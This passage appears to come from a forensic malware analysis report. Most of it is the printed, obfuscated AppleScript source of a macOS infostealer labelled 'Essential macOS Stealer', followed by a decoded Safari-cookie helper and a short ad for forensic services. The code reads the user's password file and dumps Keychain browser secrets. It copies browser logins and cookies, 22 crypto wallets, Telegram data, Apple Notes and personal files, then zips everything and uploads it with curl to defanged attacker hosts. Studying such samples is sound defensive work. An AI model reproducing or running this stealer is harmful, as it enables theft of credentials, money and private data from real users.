                                __bjyLxZqQSJS(_KAPcbtYjNSo, __ZS38UKzd & "Extensions/" & __AkfVic6YI & _hePMGGB, _lDH2o88E, false)
                            else if (__KLDZVCAFer as string) is equal to "/IndexedDB/" then
                                __bjyLxZqQSJS(_KAPcbtYjNSo, __ZS38UKzd & "Wallets/" & __AkfVic6YI & _hePMGGB, _inanHlUtN, true)
                                __bjyLxZqQSJS(_KAPcbtYjNSo, __ZS38UKzd & "Extensions/" & __AkfVic6YI & _hePMGGB, _lDH2o88E, true)
                            else if (__KLDZVCAFer as string) is equal to "/Local Storage/" then
                                __MdWxziDRCC(_KAPcbtYjNSo, __ZS38UKzd & "Wallets/Local Storage_" & __AkfVic6YI & _hePMGGB)
                            else
                                set __jDRWWIDJ4G to _D82koK3 & _hePMGGB & __KLDZVCAFer
                                _OXSXInNB(_KAPcbtYjNSo, __jDRWWIDJ4G)
                            end if
                        end repeat
                    end if
                end repeat
            end try
        end repeat
    end try
end __x4472Tmbg

on __xb8Q5L2okAc(__ZS38UKzd, __VG5dAHwx4h)
        set __I6khfgSN to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
        repeat with __xb8Q5L2okAc in __VG5dAHwx4h
        set _D82koK3 to __ZS38UKzd & "Browsers/" & item 1 of __xb8Q5L2okAc & "_"
        try
            set _h54IS3S to list folder item 2 of __xb8Q5L2okAc without invisibles
            repeat with _hePMGGB in _h54IS3S
                    if ((_hePMGGB as string) contains "Profile") or ((_hePMGGB as string) contains ".default") then
                            set _Zs9JICti to (item 1 of __xb8Q5L2okAc & _hePMGGB)
                            repeat with __KLDZVCAFer in __I6khfgSN
                                    set _KAPcbtYjNSo to (item 2 of __xb8Q5L2okAc & _hePMGGB & __KLDZVCAFer)
                                    set __jDRWWIDJ4G to _D82koK3 & _hePMGGB & __KLDZVCAFer
                                    _OXSXInNB(_KAPcbtYjNSo, __jDRWWIDJ4G)
                            end repeat
                    end if
            end repeat
        end try
    end repeat
end __xb8Q5L2okAc

on __h95nVJL(__ZS38UKzd, __TEG3njzS)
        try
            __MdWxziDRCC(__TEG3njzS & "Telegram Desktop/tdata/", __ZS38UKzd & "Telegram Desktop/")
        end try
end __h95nVJL

on _UGLzAVxUOg(__ZS38UKzd, _Y7dZmQV8a)
    repeat with _sWB8op1eO4S in _Y7dZmQV8a
        try
            __MdWxziDRCC(item 2 of _sWB8op1eO4S, __ZS38UKzd & item 1 of _sWB8op1eO4S)
        end try
    end repeat
end _UGLzAVxUOg

on __mS7O0YUGBvT(_uJIToEHv4Kb, __ADG2fhydu, __MFBQwWLDN)
    try
        set __OiUf365Th to {}
        repeat with _m0nrHAqB in _uJIToEHv4Kb
            try
                set _gTYSVha to item 2 of _m0nrHAqB as string
                if (do shell script "test -d " & quoted form of _gTYSVha & " && echo 'exists' || echo 'no'") = "exists" then
                    set __OiUf365Th to __OiUf365Th & {_m0nrHAqB}
                end if
            end try
        end repeat

        if (length of __OiUf365Th) > 0 then
            try
                do shell script "mkdir -p " & quoted form of (__ADG2fhydu & __MFBQwWLDN)
                repeat with _m0nrHAqB in __OiUf365Th
                    try
                        set __W8ntZ6O2dbp to item 1 of _m0nrHAqB
                        set _gTYSVha to item 2 of _m0nrHAqB as string
                        set _U11ziSwkIx to __ADG2fhydu & __MFBQwWLDN & "/" & __W8ntZ6O2dbp
                        do shell script "cp -R " & quoted form of _gTYSVha & " " & quoted form of _U11ziSwkIx
                    end try
                end repeat
            end try
        end if
    end try
end __mS7O0YUGBvT

on __viu3Jel0UXN(_iFRc8rXj9sn)
    try
        do shell script ("security find-generic-password -s " & quoted form of _iFRc8rXj9sn & " >/dev/null 2>&1")
    on error
        return ""
    end try
    repeat
        try
            set _xgWWfVy to do shell script ("security find-generic-password -w -s " & quoted form of _iFRc8rXj9sn)
            if _xgWWfVy ends with linefeed then
                set _xgWWfVy to text 1 thru -2 of _xgWWfVy
            end if
            return _xgWWfVy
        on error
            delay 0.1
        end try
    end repeat
end __viu3Jel0UXN

on _uO7AXAEdq(_oyu6L7TOl)
    set AppleScript's text item delimiters to "/"
    set __iOSgz9N6 to text items of _oyu6L7TOl
    set AppleScript's text item delimiters to ""
    if (count of __iOSgz9N6) ≤ 1 then return "."
    set _Yx0OCVbEJ4 to items 1 thru -2 of __iOSgz9N6
    set AppleScript's text item delimiters to "/"
    set _DdD3N9u to _Yx0OCVbEJ4 as string
    set AppleScript's text item delimiters to ""
    return _DdD3N9u
end _uO7AXAEdq

on __wg7O7nddqJ(_etKDwHrQ5b, __sxYjut1fZL)
    global __HeQDK3m, _tlhr4FPb, _R7VvH4IhWSk
    if _etKDwHrQ5b is "." then return "."

    set AppleScript's text item delimiters to "/"
    set __kbFBdAH5HpQ to text items of _etKDwHrQ5b
    set AppleScript's text item delimiters to ""

    set _sp30qG2HyO to {}
    set __P6MKyPzfi2 to __sxYjut1fZL
    repeat with __GKzZ38OF230 from 1 to count of __kbFBdAH5HpQ
        set _Z0dOdnQPJmq to item __GKzZ38OF230 of __kbFBdAH5HpQ
        set __P6MKyPzfi2 to __P6MKyPzfi2 & "/" & _Z0dOdnQPJmq

        set __xxYh4Sg to 0
        repeat with __TJ46uWOJv from 1 to count of __HeQDK3m
            if item __TJ46uWOJv of __HeQDK3m is __P6MKyPzfi2 then
                set __xxYh4Sg to __TJ46uWOJv
                exit repeat
            end if
        end repeat

        if __xxYh4Sg > 0 then
            set __rN0PW9IV4 to item __xxYh4Sg of _tlhr4FPb
        else
            set __Pb2C0cXBk to ""
            repeat
                set __Pb2C0cXBk to "d" & ((random number from 100000 to 999999) as string)
                if __Pb2C0cXBk is not in _R7VvH4IhWSk then exit repeat
            end repeat
            set __rN0PW9IV4 to __Pb2C0cXBk
            set end of _R7VvH4IhWSk to __Pb2C0cXBk
            set end of __HeQDK3m to __P6MKyPzfi2
            set end of _tlhr4FPb to __rN0PW9IV4
        end if

        set end of _sp30qG2HyO to __rN0PW9IV4
    end repeat

    set AppleScript's text item delimiters to "/"
    set _juu6UrNQ5I to _sp30qG2HyO as string
    set AppleScript's text item delimiters to ""
    return _juu6UrNQ5I
end __wg7O7nddqJ

on _mXR3KPme()
    set _BRbqhx7 to {"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
    repeat with __ZFUHHemeqP in _BRbqhx7
        try
            set _Dj5FxrGim7 to do shell script __ZFUHHemeqP
            if length of _Dj5FxrGim7 is 36 then
                if _Dj5FxrGim7 contains "-" then
                    return _Dj5FxrGim7
                end if
            end if
        end try
    end repeat
end _mXR3KPme

set __ltebkZnFA to (system attribute "USER")
set _Wi9sHL2 to _mXR3KPme()
set __HoCaxCc to "/Users/" & __ltebkZnFA
set __ZS38UKzd to "/tmp/abc842cf738dab4c0188caba9ecec8c01791723204/"
set __yKpNviHUvMe to POSIX path of (path to home folder) & ".passphrase"
set __XC1rkoWJqB to do shell script "cat " & quoted form of __yKpNviHUvMe

set __BbKnvpm8ib to 250000
set __aBYZTB6LwLv to 5000000

set __agZC4T6iO to 0
set __KzRwI5HNvYo to 0
set __HeQDK3m to {}
set _tlhr4FPb to {}
set _R7VvH4IhWSk to {}
set __pvAk1pTvSVP to {}

set __TEG3njzS to __HoCaxCc & "/Library/Application Support/"
set _t1Oh4amP to __XC1rkoWJqB

try
    set __M30PTiUYwKz to do shell script "curl -fsSL hxxp://api.ipify[.]org/"
on error errMsg
    set __M30PTiUYwKz to "error"
end try

set __bRfJ0zBRIe5 to {}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Yandex", __TEG3njzS & "Yandex/YandexBrowser"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Chrome", __TEG3njzS & "Google/Chrome/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Brave", __TEG3njzS & "BraveSoftware/Brave-Browser/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Edge", __TEG3njzS & "Microsoft Edge/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Vivaldi", __TEG3njzS & "Vivaldi/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Opera", __TEG3njzS & "com.operasoftware.Opera/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"OperaGX", __TEG3njzS & "com.operasoftware.OperaGX/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Chrome Beta", __TEG3njzS & "Google/Chrome Beta/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Chrome Canary", __TEG3njzS & "Google/Chrome Canary"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Chromium", __TEG3njzS & "Chromium/"}}
set __bRfJ0zBRIe5 to __bRfJ0zBRIe5 & {{"Chrome Dev", __TEG3njzS & "Google/Chrome Dev/"}}

set _hYBoDimr6mz to {}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Exodus", __TEG3njzS & "Exodus/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Electrum", __HoCaxCc & "/.electrum/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Atomic", __TEG3njzS & "Atomic Wallet/Local Storage/leveldb/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Guarda", __TEG3njzS & "Guarda/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Coinomi", __TEG3njzS & "Coinomi/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Sparrow", __HoCaxCc & "/.sparrow/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Wasabi", __HoCaxCc & "/.walletwasabi/client/Wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Bitcoin Core", __TEG3njzS & "Bitcoin/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Armory", __TEG3njzS & "Armory/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Electron Cash", __HoCaxCc & "/.electron-cash/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Monero", __HoCaxCc & "/.bitmonero/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Litecoin Core", __TEG3njzS & "Litecoin/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"DashCore", __TEG3njzS & "DashCore/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Dogecoin Core", __TEG3njzS & "Dogecoin/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Electrum Litecoin", __HoCaxCc & "/.electrum-ltc/wallets/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"BlueWallet", __TEG3njzS & "BlueWallet/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Zengo", __TEG3njzS & "Zengo/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Trust Wallet", __TEG3njzS & "Trust Wallet/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Ledger Live", __TEG3njzS & "Ledger Live/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Ledger Wallet", __TEG3njzS & "Ledger Wallet/"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"Trezor Suite", __TEG3njzS & "@trezor"}}
set _hYBoDimr6mz to _hYBoDimr6mz & {{"TON Keeper", __TEG3njzS & "@tonkeeper"}}

set _LErKDOC to {}
set _LErKDOC to _LErKDOC & {{"Firefox", __TEG3njzS & "Firefox/Profiles/"}}

set __t46hJcxr to system version of (system info)
set AppleScript's text item delimiters to "."
set __KfxuiZrt to text items of __t46hJcxr
set AppleScript's text item delimiters to ""

set _uY4Mhj0 to (item 1 of __KfxuiZrt) as integer
if (count of __KfxuiZrt) ≥ 2 then
    set _v65hcnwN to (item 2 of __KfxuiZrt) as integer
else
    set _v65hcnwN to 0
end if

if (_uY4Mhj0 > 26) or (_uY4Mhj0 = 26 and _v65hcnwN ≥ 4) then
    set _NBjraUDO to {{__sqnMXA1m:"Chrome Safe Storage"}, {__sqnMXA1m:"Microsoft Edge Safe Storage"}, {__sqnMXA1m:"Brave Safe Storage"}, {__sqnMXA1m:"Opera Safe Storage"}, {__sqnMXA1m:"Vivaldi Safe Storage"}}
    set _atjRFeEOjbB to ""
  repeat with _YRP7PrP2pV in _NBjraUDO
      set __sqnMXA1m to __sqnMXA1m of _YRP7PrP2pV

      set __f6GWJOIpiW to __viu3Jel0UXN(__sqnMXA1m)
      if __f6GWJOIpiW is not "" then
          set _atjRFeEOjbB to _atjRFeEOjbB & __sqnMXA1m & ":" & __f6GWJOIpiW & linefeed
      end if
  end repeat
  _ueOMKLgRVv(_atjRFeEOjbB, __ZS38UKzd & "Secrets")
else
  _OXSXInNB(__HoCaxCc & "/Library/Keychains/login.keychain-db", __ZS38UKzd & "login.keychain-db")
end if

_ueOMKLgRVv(__ltebkZnFA, __ZS38UKzd & "Username")
_ueOMKLgRVv(__XC1rkoWJqB, __ZS38UKzd & "Password")

try
    _ueOMKLgRVv("Essential macOS Stealer\n\n", __ZS38UKzd & "UserInformation")
    _ueOMKLgRVv("Build: NITRO4\n", __ZS38UKzd & "UserInformation")
    _ueOMKLgRVv("Username: " & __ltebkZnFA, __ZS38UKzd & "UserInformation")
    _ueOMKLgRVv("\nPassword: " & __XC1rkoWJqB & "\n", __ZS38UKzd & "UserInformation")
    _ueOMKLgRVv("IP Address: " & __M30PTiUYwKz & "\n\n", __ZS38UKzd & "UserInformation")
    set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
    _ueOMKLgRVv(result, __ZS38UKzd & "UserInformation")
end try

try
    set __vdPahCEK to path to desktop folder as alias
    set _z3fZ2X9bG to POSIX path of __vdPahCEK
    set __NbWIFbm8ziB to (length of _z3fZ2X9bG) + 1
    set __LbPT49S6 to path to documents folder as alias
    set _WDtArKOAd to POSIX path of __LbPT49S6
    set _HCn2jtm9 to (length of _WDtArKOAd) + 1

    tell application "Finder"
        if __KzRwI5HNvYo < __aBYZTB6LwLv then
            set _xd1you6dw to every file of entire contents of __vdPahCEK
            repeat with __XCmz0GZby in _xd1you6dw
                if __KzRwI5HNvYo ≥ __aBYZTB6LwLv then exit repeat
                try
                    set __G4rof1u to size of __XCmz0GZby
                    if __G4rof1u < __BbKnvpm8ib and (__KzRwI5HNvYo + __G4rof1u) ≤ __aBYZTB6LwLv then
                        set __agZC4T6iO to __agZC4T6iO + 1
                        set __j7vQU6Z3FIB to POSIX path of (__XCmz0GZby as alias)
                        set _oyu6L7TOl to text __NbWIFbm8ziB thru -1 of __j7vQU6Z3FIB

                        set __fUMCoIlIh to name extension of __XCmz0GZby
                        if __fUMCoIlIh is not missing value and __fUMCoIlIh is not "" then
                            set _bAR18f1GslM to (__agZC4T6iO as string) & "." & __fUMCoIlIh
                        else
                            set _bAR18f1GslM to (__agZC4T6iO as string)
                        end if

                        set _etKDwHrQ5b to my _uO7AXAEdq(_oyu6L7TOl)
                        set _Gv1IXC00NX6 to my __wg7O7nddqJ(_etKDwHrQ5b, "Desktop")
                        if _Gv1IXC00NX6 is "." then
                            set __zGUJ4NDCH to __ZS38UKzd & "FileGrabber/Desktop"
                        else
                            set __zGUJ4NDCH to __ZS38UKzd & "FileGrabber/Desktop/" & _Gv1IXC00NX6
                        end if
                        set _U11ziSwkIx to __zGUJ4NDCH & "/" & _bAR18f1GslM

                        if __zGUJ4NDCH is in __pvAk1pTvSVP then
                            do shell script "cp " & quoted form of __j7vQU6Z3FIB & " " & quoted form of _U11ziSwkIx
                        else
                            do shell script "mkdir -p " & quoted form of __zGUJ4NDCH & " && cp " & quoted form of __j7vQU6Z3FIB & " " & quoted form of _U11ziSwkIx
                            set end of __pvAk1pTvSVP to __zGUJ4NDCH
                        end if
                        set __KzRwI5HNvYo to __KzRwI5HNvYo + __G4rof1u
                    end if
                end try
            end repeat
        end if

        if __KzRwI5HNvYo < __aBYZTB6LwLv then
            set _J5qbB0DyPMn to every file of entire contents of __LbPT49S6
            repeat with __XCmz0GZby in _J5qbB0DyPMn
                if __KzRwI5HNvYo ≥ __aBYZTB6LwLv then exit repeat
                try
                    set __G4rof1u to size of __XCmz0GZby
                    if __G4rof1u < __BbKnvpm8ib and (__KzRwI5HNvYo + __G4rof1u) ≤ __aBYZTB6LwLv then
                        set __agZC4T6iO to __agZC4T6iO + 1
                        set __j7vQU6Z3FIB to POSIX path of (__XCmz0GZby as alias)
                        set _oyu6L7TOl to text _HCn2jtm9 thru -1 of __j7vQU6Z3FIB

                        set __fUMCoIlIh to name extension of __XCmz0GZby
                        if __fUMCoIlIh is not missing value and __fUMCoIlIh is not "" then
                            set _bAR18f1GslM to (__agZC4T6iO as string) & "." & __fUMCoIlIh
                        else
                            set _bAR18f1GslM to (__agZC4T6iO as string)
                        end if

                        set _etKDwHrQ5b to my _uO7AXAEdq(_oyu6L7TOl)
                        set _Gv1IXC00NX6 to my __wg7O7nddqJ(_etKDwHrQ5b, "Documents")
                        if _Gv1IXC00NX6 is "." then
                            set __zGUJ4NDCH to __ZS38UKzd & "FileGrabber/Documents"
                        else
                            set __zGUJ4NDCH to __ZS38UKzd & "FileGrabber/Documents/" & _Gv1IXC00NX6
                        end if
                        set _U11ziSwkIx to __zGUJ4NDCH & "/" & _bAR18f1GslM

                        if __zGUJ4NDCH is in __pvAk1pTvSVP then
                            do shell script "cp " & quoted form of __j7vQU6Z3FIB & " " & quoted form of _U11ziSwkIx
                        else
                            do shell script "mkdir -p " & quoted form of __zGUJ4NDCH & " && cp " & quoted form of __j7vQU6Z3FIB & " " & quoted form of _U11ziSwkIx
                            set end of __pvAk1pTvSVP to __zGUJ4NDCH
                        end if
                        set __KzRwI5HNvYo to __KzRwI5HNvYo + __G4rof1u
                    end if
                end try
            end repeat
        end if

    end tell
end try

try
    tell application "Notes"
        set _NUrOJ0sjlB to {}
        repeat with __XBhy8ggR in every folder
            try
                set _NUrOJ0sjlB to _NUrOJ0sjlB & (notes of __XBhy8ggR)
            end try
        end repeat

        if (length of _NUrOJ0sjlB) > 0 then
            set _CWKyrAMgIE6 to __ZS38UKzd & "/Notes"
            do shell script "mkdir -p " & quoted form of __ZS38UKzd

            set _wmBiaxh to "Notes count: " & ((length of _NUrOJ0sjlB) as string) & return & return

            repeat with __zt9OU7xPev in _NUrOJ0sjlB
                try
                    set __Iz8OOEF0z to name of __zt9OU7xPev
                    set __Zj8uiTQwuZ to plaintext of __zt9OU7xPev

                    set _wmBiaxh to _wmBiaxh & "=====================================================================" & return
                    set _wmBiaxh to _wmBiaxh & "Title: " & __Iz8OOEF0z & return
                    set _wmBiaxh to _wmBiaxh & "=====================================================================" & return
                    set _wmBiaxh to _wmBiaxh & __Zj8uiTQwuZ & return
                    set _wmBiaxh to _wmBiaxh & "=====================================================================" & return
                end try
            end repeat

            do shell script "echo " & quoted form of _wmBiaxh & " > " & quoted form of _CWKyrAMgIE6
        end if
    end tell
end try

try
    do shell script "nohup sh -c \"echo 'c2V0IGJhc2VGb2xkZXJQYXRoIHRvIChwYXRoIHRvIGhvbWUgZm9sZGVyIGFzIHRleHQpICYgInRlbXBGb2xkZXJDOiIKCnRlbGwgYXBwbGljYXRpb24gIkZpbmRlciIKCXNldCB1c2VybmFtZSB0byBzaG9ydCB1c2VyIG5hbWUgb2YgKHN5c3RlbSBpbmZvKQoJCglpZiBub3QgKGV4aXN0cyBmb2xkZXIgYmFzZUZvbGRlclBhdGgpIHRoZW4KCQlkbyBzaGVsbCBzY3JpcHQgImVjaG8gJ0NyZWF0aW5nIGJhc2UgZm9sZGVyJyIKCQltYWtlIG5ldyBmb2xkZXIgYXQgKHBhdGggdG8gaG9tZSBmb2xkZXIpIHdpdGggcHJvcGVydGllcyB7bmFtZToidGVtcEZvbGRlckMifQoJZW5kIGlmCgkKCXRyeQoJCWRvIHNoZWxsIHNjcmlwdCAiZWNobyAnQ29weWluZyBTYWZhcmkgY29va2llcyciCgkJc2V0IG1hY09TVmVyc2lvbiB0byBkbyBzaGVsbCBzY3JpcHQgInN3X3ZlcnMgLXByb2R1Y3RWZXJzaW9uIgoJCWlmIG1hY09TVmVyc2lvbiBzdGFydHMgd2l0aCAiMTAuMTUiIG9yIG1hY09TVmVyc2lvbiBzdGFydHMgd2l0aCAiMTAuMTQiIHRoZW4KCQkJc2V0IHNhZmFyaUZvbGRlciB0byAoKHBhdGggdG8gbGlicmFyeSBmb2xkZXIgZnJvbSB1c2VyIGRvbWFpbiBhcyB0ZXh0KSAmICJTYWZhcmk6IikKCQllbHNlCgkJCXNldCBzYWZhcmlGb2xkZXIgdG8gKChwYXRoIHRvIGxpYnJhcnkgZm9sZGVyIGZyb20gdXNlciBkb21haW4gYXMgdGV4dCkgJiAiQ29udGFpbmVyczpjb20uYXBwbGUuU2FmYXJpOkRhdGE6TGlicmFyeTpDb29raWVzOiIpCgkJZW5kIGlmCgkJZHVwbGljYXRlIGZpbGUgIkNvb2tpZXMuYmluYXJ5Y29va2llcyIgb2YgZm9sZGVyIHNhZmFyaUZvbGRlciB0byBmb2xkZXIgYmFzZUZvbGRlclBhdGggd2l0aCByZXBsYWNpbmcKCWVuZCB0cnkKZW5kIHRlbGw=' | base64 -D | osascript\" > /dev/null 2>&1 < /dev/null &"
    delay 3
    set __o0u5ldX to __HoCaxCc & "/tempFolderC/Cookies.binarycookies"
    do shell script "cp -f " & quoted form of (POSIX path of (POSIX file __o0u5ldX)) & " " & quoted form of (__ZS38UKzd & "/Cookies.binarycookies")
end try

__x4472Tmbg(__ZS38UKzd, __bRfJ0zBRIe5)
__xb8Q5L2okAc(__ZS38UKzd, _LErKDOC)
__mS7O0YUGBvT(_hYBoDimr6mz, __ZS38UKzd, "Wallets")
__h95nVJL(__ZS38UKzd, __TEG3njzS)

do shell script "ditto -c -k --sequesterRsrc " & __ZS38UKzd & " /tmp/abc842cf738dab4c0188caba9ecec8c01791723204.zip"

try
    set __eLBbY7ODS to "/tmp/abc842cf738dab4c0188caba9ecec8c01791723204.zip"
    set __Birvd40ZDt to do shell script "stat -f%z " & quoted form of __eLBbY7ODS
    set __bd0z65P to __Birvd40ZDt as integer
    set __vA2PnktAk82 to 90 * 1024 * 1024
    if __bd0z65P > __vA2PnktAk82 then
        set __ZFUHHemeqP to "curl --max-time 3000 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & __eLBbY7ODS) & " -F " & quoted form of "uuid=" & _Wi9sHL2 & " hxxp://62.60.226[.]50/upload.php  > /tmp/updstat.txt 2>&1"
        do shell script __ZFUHHemeqP
    else
        try
            set __ZFUHHemeqP to "curl --max-time 90 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & __eLBbY7ODS) & " -F " & quoted form of "uuid=" & _Wi9sHL2 & " hxxps://payload1717[.]pro/upload.php  > /tmp/updstat.txt 2>&1"
            do shell script __ZFUHHemeqP
        on error
            set __ZFUHHemeqP to "curl --max-time 3000 -F " & quoted form of "txid=ecbca83c146349f67156b33ecc3e1aef" & " -F " & quoted form of ("file=@" & __eLBbY7ODS) & " -F " & quoted form of "uuid=" & _Wi9sHL2 & " hxxp://62.60.226[.]50/upload.php  > /tmp/updstat.txt 2>&1"
            do shell script __ZFUHHemeqP
        end try
    end if
end try

13.9 Script embedded in smodule (Safari cookie copy), decoded (excerpt)

smodule contains a third base64 blob, decoded by base64 -D and run by osascript in the background (nohup). Its decoded form is 881 bytes, SHA-256 5ecb6e747905d536a8739362e3cc69e8913c87c8ab5cd8be59f7af91e7ebcdd3. Decoded excerpt below, behaviour analysed in section 9.5.

set baseFolderPath to (path to home folder as text) & "tempFolderC:"

tell application "Finder"
	set username to short user name of (system info)
	
	if not (exists folder baseFolderPath) then
		do shell script "echo 'Creating base folder'"
		make new folder at (path to home folder) with properties {name:"tempFolderC"}
	end if
	
	try
		do shell script "echo 'Copying Safari cookies'"
		set macOSVersion to do shell script "sw_vers -productVersion"
		if macOSVersion starts with "10.15" or macOSVersion starts with "10.14" then
			set safariFolder to ((path to library folder from user domain as text) & "Safari:")
		else
			set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
		end if
		duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing
	end try
end tell

---

Need help with an incident? Through Cyber Horizon, I offer digital forensics for businesses in Belgium and beyond. Learn more about digital forensics or get in touch.